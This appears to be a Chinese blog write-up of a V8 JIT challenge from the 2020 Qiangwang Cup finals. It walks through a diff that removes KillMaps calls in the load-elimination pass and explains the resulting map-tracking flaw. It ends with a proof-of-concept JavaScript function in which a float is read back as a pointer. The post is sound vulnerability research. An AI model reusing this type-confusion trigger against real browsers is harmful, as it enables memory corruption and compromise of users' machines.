前言

强化学习,场景来自强网杯2020决赛的一道题。

顺序奇乱,看到什么想到什么就写什么,回过头来估计就看不懂了。


环境搭建

上一篇文章差不多,不过这次不切换分支了(记得把diff打上去),期间还遇到一个一个问题:

/root/v8/v8/buildtools/linux64/gn: /lib64/libc.so.6: version `GLIBC_2.18' not found (required by /root/v8/v8/buildtools/linux64/gn)

看起来是Glibc版本过低,更新的时候出了点奇奇怪怪的问题,所以换个Centos8再来一遍(yum install python2就能装上python2.7了),为了编译得快点,顺便换个更高配的主机。

然后就可以开始调试了,先用directory命令把源码目录配置进来。

diff分析

diff文件如下:

diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index ff79da8c86..8effdd6e15 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -866,8 +866,8 @@ Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
     if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
       object_maps.remove(source_map, zone());
       object_maps.insert(target_map, zone());
-      AliasStateInfo alias_info(state, object, source_map);
-      state = state->KillMaps(alias_info, zone());
+      // AliasStateInfo alias_info(state, object, source_map);
+      // state = state->KillMaps(alias_info, zone());
       state = state->SetMaps(object, object_maps, zone());
     }
   } else {
@@ -892,7 +892,7 @@ Reduction LoadElimination::ReduceTransitionAndStoreElement(Node* node) {
   if (state->LookupMaps(object, &object_maps)) {
     object_maps.insert(double_map, zone());
     object_maps.insert(fast_map, zone());
-    state = state->KillMaps(object, zone());
+    // state = state->KillMaps(object, zone());
     state = state->SetMaps(object, object_maps, zone());
   }
   // Kill the elements as well.

diff文件的修改简单来说就是注释掉了两个函数中调用KillMaps的部分。

触发ReduceTransitionElementsKind

先看看ReduceTransitionElementsKind函数究竟是个什么,往上找找这个函数:

switch (node->opcode()) {
    ...
    case IrOpcode::kTransitionElementsKind:
        return ReduceTransitionElementsKind(node);
}

执行kTransitionElementsKind这个操作码的时候会调用这个函数,再看看这个操作码的名字kTransitionElementsKind,看起来是个用于转换数组成员类型的操作码,给ReduceTransitionElementsKind函数打上断点(需要先用d8运行一个JavaScript脚本后才会加载这个符号进来)然后简单测试一下:

var a = [];
a[0] = 1;
a[0] = 1.1;
a[0] = {};

不会触发断点,看起来除了数组类型转换,还需要满足其他条件才行。

继续阅读源码,看看这个操作码所属的类IrOpcode,其中一部分如下:

class V8_EXPORT_PRIVATE IrOpcode {
 public:
  enum Value {
#define DECLARE_OPCODE(x, ...) k##x,
    ALL_OP_LIST(DECLARE_OPCODE)
#undef DECLARE_OPCODE
        kLast = -1
#define COUNT_OPCODE(...) +1
                ALL_OP_LIST(COUNT_OPCODE)
#undef COUNT_OPCODE
  };
}

看起来是给某个字符串加上个k然后定义操作码的地方,找找TransitionElementsKind:

#define SIMPLIFIED_OTHER_OP_LIST(V)     \
  ...
  V(TransitionElementsKind)             \
  ...

看起来归属于SIMPLIFIED类操作码,在simplified-operator.cc中能找到生成该操作的函数:

const Operator* SimplifiedOperatorBuilder::TransitionElementsKind(
    ElementsTransition transition) {
  return zone()->New<Operator1<ElementsTransition>>(  // --
      IrOpcode::kTransitionElementsKind,              // opcode
      Operator::kNoThrow,                             // flags
      "TransitionElementsKind",                       // name
      1, 1, 1, 0, 1, 0,                               // counts
      transition);                                    // parameter
}

可以看到返回类型是Operator,而前面switch的node结构体时相吻合:

class V8_EXPORT_PRIVATE Node final {
 public:
  ...
  IrOpcode::Value opcode() const {
    DCHECK_GE(IrOpcode::kLast, op_->opcode());
    return static_cast<IrOpcode::Value>(op_->opcode());
  }

  ...
  const Operator* op_;
}

从TransitionElementsKind函数继续往上找,找到js-native-context-specialization.cc中的ReduceElementAccess函数,再结合前面的ReduceTransitionElementsKind函数,它们似乎都是用于减少某些操作(类型转换、成员访问)次数用的,那就试试用循环将前面的测试代码多跑上很多次:

var a;
for (var i = 0;i < 10000;i++) {
   a = [];
   a[0] = 233;
   a[0] = 233.3;
   a[0] = {};
}

这次成功触发了ReduceElementAccess函数处的断点,但是没有触发ReduceTransitionElementsKind的断点,调试一下发现似乎是因为没有发生类型转换。

这个时候我们观察一下调用栈:

注意到runtime-complier,运行时编译,也就是JIT,JavaScript的JIT机制会将某一段经常运行的代码(warm)编译成汇编代码以求加快代码的执行速度,而如果这段代码比预计中运行的还要多(hot),JIT就会把这段代码加以优化来再加快执行速度,所以这些reduce函数其实就是JIT对于hot代码的加速处理。

所以我们可以通过打印优化代码的方式,看看JIT将这段代码变成了什么样子,用help参数看看d8程序的参数:

看起来–print-opt-code参数可以打印出优化代码,试一试:

上面是优化后的汇编代码的一部分,可以看到此时生成的数组是一个PACKED_ELEMENTS类型的数组,而这个类型是一个复合类型,里面可以放置整型、浮点、对象等各种类型的成员,所以我们改变它的成员类型时不会发生类型转换。

改一下声明数组的方式:

var a;
for (var i = 0;i < 10000;i++) {
   a = Array(0);
   a[0] = 233;
   a[0] = 233.3;
   a[0] = {};
}

此时的汇编代码:

此时的数组类型为PACKED_SMI_ELEMENTS,是一个整型数组,所以我们修改成员类型时会发生类型转换,就会触发ReduceTransitionElementsKind函数处的断点。然后v8就会通过这些代码,将这段经常执行的JavaScript代码编译成汇编代码,下次要执行时就会直接去调用这些汇编代码。从另一个角度来看,如果经常执行的代码来自一个函数,那么通过大量调用它来触发JIT机制并将其编译成汇编代码后,下次调用这个函数也会直接执行这些汇编代码,再如果这些JIT机制的编译代码中存在问题,这些问题导致的后果就会被保存在这些汇编代码中,我们就可以通过写一个函数的方式触发这些问题。

ReduceTransitionElementsKind

简化一下测试代码:

var a;
for (var i = 0;i < 10000;i++) {
    a = Array(0);
    a[1];
    a[0] = 233.3;
}

这个函数的流程还是很难理解的,先看看它的参数node:

可以看到这个node的操作类型为TransitionElementsKind,这种node应该是类似AST树节点的一个东西,那它上面应该还挂着操作对象等其他数据。继续往下看代码:

ElementsTransition transition = ElementsTransitionOf(node->op());

ElementsTransitionOf函数看来是从node的op(Operator即操作)中生成了一个用于后续转换的变量:

ElementsTransition const& ElementsTransitionOf(const Operator* op) {
    DCHECK_EQ(IrOpcode::kTransitionElementsKind, op->opcode());
    return OpParameter<ElementsTransition>(op); // OpParameter看起来是在从op中取参
}

// Helper to extract parameters from Operator1<*> operator.
template <typename T>
inline T const& OpParameter(const Operator* op) {
    return reinterpret_cast<const Operator1<T, OpEqualTo<T>, OpHash<T>>*>(op) // 强制类型转换
        ->parameter();
}

reinterpret_cast是C++中的强制类型转换,在这里他将Operator类型的op转换成了其子类Operator1类型,观察转换后的Operator1对象:

可以看到,此时reinterpret_cast做类之间的类型转换时,只是将一个类用另一个类的方式进行解析而已,它们的地址还是一样的。而Operator1是Operator的子类,所以转换为Operator1对象后,除了有Operator本身的一些成员外,它还会将后面地址的一些数据当作自己的成员,也就是:

private:
    T const parameter_;
    Pred const pred_;
    Hash const hash_;

这里parameter_成员的T类型就是ElementsTransitionOf函数传入的ElementsTransition类型:

// A descriptor for elements kind transitions.
class ElementsTransition final {
    public:
    enum Mode : uint8_t {
        kFastTransition,  // simple transition, just updating the map.
        kSlowTransition   // full transition, round-trip to the runtime.
    };

    ElementsTransition(Mode mode, Handle<Map> source, Handle<Map> target)
        : mode_(mode), source_(source), target_(target) {}

    Mode mode() const { return mode_; }
    Handle<Map> source() const { return source_; }
    Handle<Map> target() const { return target_; }

    private:
    Mode const mode_;
    Handle<Map> const source_;
    Handle<Map> const target_;
};

看起来是个用于描述类型转换的类,包括mode、source、target等三个属性。parameter_的赋值要回到ReduceElementAccess函数:

ElementAccessInfo access_info = access_infos.front();

// Perform possible elements kind transitions.
MapRef transition_target(broker(),
                         access_info.lookup_start_object_maps().front());
for (auto source : access_info.transition_sources()) {
    DCHECK_EQ(access_info.lookup_start_object_maps().size(), 1);
    MapRef transition_source(broker(), source);
    effect = graph()->NewNode(
        simplified()->TransitionElementsKind(ElementsTransition(
            IsSimpleMapChangeTransition(transition_source.elements_kind(),
                                        transition_target.elements_kind())
            ? ElementsTransition::kFastTransition
            : ElementsTransition::kSlowTransition,
            transition_source.object(), transition_target.object())),
        receiver, effect, control);
}

access_info是个ElementAccessInfo对象,这个类的注释如下:

// This class encapsulates all information required to access a certain element.

也就是说是个用于访问数组成员的类,打印一下看看(a[0]=233.3这一句时触发的断点):

根据代码我们可以看到,转换的source来自access_info的transition_sources_属性,target来自lookup_start_object_maps_属性。这两个属性都是一个C++数组类型的数据,里面都只有一个成员,之后会包装进transition_souce和transition_target中。

前面提到的parameter_属性的mode就是根据transition_source和transition_target的成员类型决定的,它们的成员类型如下:

很明显就是我们对数组a做的类型转换(从整型到浮点),parameter_属性的source_和target_属性分别来自transition_source和transition_target的object函数,transition_source和transition_target都是MapRef类型的对象,它们的object函数经过调试可以找到定义:

// js-heap-broker.cc
#define DEF_OBJECT_GETTER(T)                                                 \
  Handle<T> T##Ref::object() const {                                         \
    return Handle<T>(reinterpret_cast<Address*>(data_->object().address())); \
  }
#endif  // DEBUG

HEAP_BROKER_SERIALIZED_OBJECT_LIST(DEF_OBJECT_GETTER)
HEAP_BROKER_POSSIBLY_BACKGROUND_SERIALIZED_OBJECT_LIST(DEF_OBJECT_GETTER)
HEAP_BROKER_BACKGROUND_SERIALIZED_OBJECT_LIST(DEF_OBJECT_GETTER)
HEAP_BROKER_NEVER_SERIALIZED_OBJECT_LIST(DEF_OBJECT_GETTER)
#undef DEF_OBJECT_GETTER

// heap-refs.h
#define HEAP_BROKER_POSSIBLY_BACKGROUND_SERIALIZED_OBJECT_LIST(V) \
  /* Subtypes of HeapObject */                                    \
  V(BigInt)                                                       \
  V(HeapNumber)                                                   \
  V(Map)

所以调用object()就是连续调用data_->object().address(),简单来说就是transition_source.data_.object_(其实也是前面的source变量):

里面是个指针,把transition_source和transition_target的object结果都打印一下看看:

可以看到它们指向两个紧挨在一起的地址单元,很可能它们是指向一个新的指针的指针,再打印一轮看看:

可以看到,它们指向的数据最低位都是1,恰好符合v8中的指针存储方式,用job命令验证一下:

可以看到,这就是代表数组类型的两个Map属性了。

object_maps.contains判断

要进入被diff修改的代码处还需要满足两个条件,第一个不提,如果我们将代码修改为:

var a;
for (var i = 0;i < 10000;i++) {
    a = Array(0);
    a[0] = 233.3;
}

第二个条件:

if (object_maps.contains(ZoneHandleSet<Map>(source_map)))

就会无法通过。object_maps是一个对象Map属性的Set集合,里面存储了访问过的一些对象的Map属性,所以在进行类型转换之前,需要先访问一下这个数组内的成员,object_maps中才会存有这个数组的Map属性,即这里的source_map变量。

KillMaps

代码中还能看到一些zone类的使用,其注释如下:

// The Zone supports very fast allocation of small chunks of
// memory. The chunks cannot be deallocated individually, but instead
// the Zone supports deallocating all chunks in one fast
// operation. The Zone is used to hold temporary data structures like
// the abstract syntax tree, which is deallocated after compilation.
//
// Note: There is no need to initialize the Zone; the first time an
// allocation is attempted, a segment of memory will be requested
// through the allocator.
//
// Note: The implementation is inherently not thread safe. Do not use
// from multi-threaded code.

看起来是用来分配内存的,从开开始看代码下来:

Node* const object = NodeProperties::GetValueInput(node, 0);
Handle<Map> source_map(transition.source());
Handle<Map> target_map(transition.target());
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);

可以看到,object、effect两个node都来自参数的node(即操作类型为TransitionElementsKind的node),node类的注释如下:

// A Node is the basic primitive of graphs. Nodes are chained together by
// input/use chains but by default otherwise contain only an identifying number
// which specific applications of graphs and nodes can use to index auxiliary
// out-of-line data, especially transient data.
//
// In addition Nodes only contain a mutable Operator that may change during
// compilation, e.g. during lowering passes. Other information that needs to be
// associated with Nodes during compilation must be stored out-of-line indexed
// by the Node's id.

大概就是说节点(node)是图(graph)的基本构成,每个节点有一个用于区分的ID且只有一个操作,节点之间通过input/use来连接:

// ---------------------------------------------------------------------------
// Input layout.
// Inputs are always arranged in order as follows:
//     0 [ values, context, frame state, effects, control ] node->InputCount()

可以看到,一共有五种输入(input),这里关注value(大概是该操作需要的操作对象/参数)和effect(动作/下一步操作)这两种输入,先看看value:

value_in和value_out就相当于进出节点的感觉。可以看到,这是个FinishRegion节点(调试可以发现跟在ReduceElementAccess函数中生成的不太一样,可能后面做了什么处理),代码中有一段关于FinishRegion节点的注释:

// If we previously recorded information about a const store on the given
// 'object', we might not have done it on the same node; e.g. we might now
// identify the object by a FinishRegion node, whereas the initial const
// store was performed on the Allocate node. We therefore remove information
// on all nodes that must alias with 'object'.

看起来是跟常量存储相关的节点(调试其Value节点是个Allocate节点,再继续可以看到是个NumberConstant节点,里面放了个数16,不知道做什么用的),此外,既然他是TransitionElementsKind操作的Value节点,那它应该是个与我们要进行类型转换的数组a有关的节点。

source_map和target_map就是前面提到过的两个Map属性,再看看effect变量:

是个CheckBounds节点,看起来是用来检查数组边界的,跟这次的主题没什么关系的样子。

然后是state,它从node_states_变量而来,这是个AbstractStateForEffectNodes对象,从名字上看起来是根据Effect节点获取相应的状态(state),其定义如下:

LoadElimination::AbstractState const*
    LoadElimination::AbstractStateForEffectNodes::Get(Node* node) const {
    size_t const id = node->id();
    if (id < info_for_node_.size()) return info_for_node_[id];
    return nullptr;
}

看起来,每个节点都有一个相应的状态,此时获取了TransitionElementsKind节点的Effect节点(CheckBounds)对应的状态,这是一个AbstractState对象,里面有个Print函数可以打印出其中的数据:

Allocate节点应该就是那个与JavaScript中数组a相关的节点,可以看到状态由maps和fields两种成员组成,看起来都跟节点有关,查看它们在源码里的定义可以发现,它们都有一个重要的属性叫做info_for_node_,v8可以根据节点从中取出相关的数据,具体的后面再说。

接下来就看关键的三行代码:

AliasStateInfo alias_info(state, object, source_map);
state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());

使用状态、对象和转换前Map属性制作了一个alias_info变量,看其名字可能是用于查找同名/同个节点的,具体用处还要往后看。此外我们还可以看到,在JIT中代表一个对象的节点跟其Map属性是分割开的,那么久可能存在一个情况,读写该对象时使用的类型不是放在该对象首个地址单元处的Map属性,而是保存在状态某个地方与该对象节点相关联的Map属性。

再看看KillMaps函数:

LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
    const AliasStateInfo& alias_info, Zone* zone) const {
    if (this->maps_) {
        AbstractMaps const* that_maps = this->maps_->Kill(alias_info, zone);
        if (this->maps_ != that_maps) {
            AbstractState* that = zone->New<AbstractState>(*this);
            that->maps_ = that_maps;
            return that;
        }
    }
    return this;
}

基本上可以认为就是调用了this->maps_->Kill,不然就跟没调用没什么区别,maps_属性是个AbstractMaps对象,其定义如下:

// Abstract state to approximate the current map of an object along the
// effect paths through the graph.
class AbstractMaps final : public ZoneObject {
    public:
    ...

    private:
    ZoneMap<Node*, ZoneHandleSet<Map>> info_for_node_;
};

从注释来看,似乎是用于描述某个对象的Map属性的?可以看到里面只有一个属性info_for_node_,其是一个Map类型的对象,键为node值为Set,值的类型看起来很眼熟(ReduceTransitionElementsKind函数中的object_maps变量),我们回去看看:

ZoneHandleSet<Map> object_maps;
if (state->LookupMaps(object, &object_maps)) {
    ...
}

看起来它是从state中获得的,再跟一跟:

bool LoadElimination::AbstractState::LookupMaps(
    Node* object, ZoneHandleSet<Map>* object_map) const {
    return this->maps_ && this->maps_->Lookup(object, object_map);
}

bool LoadElimination::AbstractMaps::Lookup(
    Node* object, ZoneHandleSet<Map>* object_maps) const {
    auto it = info_for_node_.find(ResolveRenames(object));
    if (it == info_for_node_.end()) return false;
    *object_maps = it->second;
    return true;
}

可以看到,它最后就是来自state的maps_属性的info_for_node_属性,那么就是说,在JIT代码中,一个对象由一个节点表示,状态中保存着与该节点相关联的Map属性,需要使用时可以根据节点取出。

Kill

回到KillMaps,进入Kill函数:

LoadElimination::AbstractMaps const* LoadElimination::AbstractMaps::Kill(
    const AliasStateInfo& alias_info, Zone* zone) const {
    for (auto pair : this->info_for_node_) {
        if (alias_info.MayAlias(pair.first)) {
            AbstractMaps* that = zone->New<AbstractMaps>(zone);
            for (auto pair : this->info_for_node_) {
                if (!alias_info.MayAlias(pair.first)) that->info_for_node_.insert(pair);
            }
            return that;
        }
    }
    return this;
}

遍历了info_for_node_属性这个Map,pair.first代表键即节点,这里的关键在于MayAlias函数:

bool LoadElimination::AliasStateInfo::MayAlias(Node* other) const {
    // If {object} is being initialized right here (indicated by {object} being
    // an Allocate node instead of a FinishRegion node), we know that {other}
    // can only alias with {object} if they refer to exactly the same node.
    if (object_->opcode() == IrOpcode::kAllocate) {
        return object_ == other;
    }
    // Decide aliasing based on the node kinds.
    if (!compiler::MayAlias(object_, other)) {
        return false;
    }
    // Decide aliasing based on maps (if available).
    Handle<Map> map;
    if (map_.ToHandle(&map)) {
        ZoneHandleSet<Map> other_maps;
        if (state_->LookupMaps(other, &other_maps) && other_maps.size() == 1) {
            if (map.address() != other_maps.at(0).address()) {
                return false;
            }
        }
    }
    return true;
}

用于判断两个节点是否是同一个,综合Kill和MayAlias函数起来看,意思就是,如果一个状态中有两个或更多节点关联着同一个Map属性,就会新建一个新的AbstractMaps对象(也就是跟状态中的maps_属性相同类型),然后将其他与此Map属性无关的节点-属性对应放进这个新的AbstractMaps对象中,简单来说就是把跟这个要被转换的Map属性从状态里面删掉了,最后将新的AbstractMaps对象返回。

再结合起KillMaps函数,如果Kill函数返回了一个新的AbstractMaps对象,就会用其包装一个新的状态再返回。

最后总结,KillMaps函数的作用就是将这个要被转换的Map属性从状态里面删掉,setMaps的作用就是将新的Map属性放入状态中并与此节点再次关联起来,这样就避免了当一个状态中有两个或更多节点关联着同一个Map属性时,前面一个节点发生了类型转换修改了其关联着的Map属性,后一个/一些节点还保留着旧的Map属性(这样不同节点就会以不同类型访问同个数组对象,造成类型混淆)。而题目中注释掉了这行代码,就会导致这个要被转换的Map属性被保留了下来,而setMaps只会修改该发生类型转换节点的Map属性,而其他节点没有修改,导致一个类型混淆漏洞。

类型混淆

要制造”一个状态中有两个或更多节点关联着同一个Map属性”这个情况,用函数传参来做是最方便的:

function optCode(a, b) {
    a[0];
    a[0] = 1.1;
    b[0];
    b[0] = {};
}

var a;
for (var i = 0;i < 10000;i++) {
    a = Array(0);
    optCode(a, a);
}

第一次类型转换的setMaps前:

第一次类型转换的setMaps后:

第二次类型转换的setMaps前:

第二次类型转换的setMaps后:

可以看到,两个节点相关联的Map属性已经产生了区别,a把它当作浮点数组,b把它当作对象数组,而它实际上已经是个对象数组,这样一来类型混淆就产生了。经过测试我们发现,这种Map属性不一致(对象数组和浮点数组)的情况下函数返回之后a会是一个对象数组,所以我们可以让a把它当作对象数组,b把它当作浮点数组,这样我们就可以通过写b将一个浮点数写入进去,后面访问的时候就会把这个浮点数当作一个指针。

实际上这样利用还是无法成功,因为函数代码比较简单,所以JIT在编译阶段可以获得的信息比较充分,类型判断简单,我们可以通过添加条件判断的方式绕过:

function optCode(a, b, f1, f2) {
    a[0];
    b[0];
    if (f1) {
        a[0] = {};
    }
    if (f2) {
        b[0] = 1.1;
    }

}

var a;
for (var i = 0;i < 10000;i++) {
    a = Array(0);
    optCode(a, a, true, false);
    a = Array(0);
    optCode(a, a, false, true);
}

a = Array(0);
optCode(a, a, true, true);
%DebugPrint(a);
%SystemBreak();
print(a[0]);

打印出来的数组a:

其element属性如下:

可以看到,写入的浮点数1.1已经被当做了一个指针。后面的做法就是利用v8的pointer compression机制,爆破/调试获得低32位地址再进行利用了,太麻烦就不提了。


参考文章

writeup

writeup2

JavaScript数组优化

JIT


Web 二进制 浏览器 Chrome

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

chrome浏览器漏洞强化2-CVE-2016-5168
Chrome浏览器漏洞入门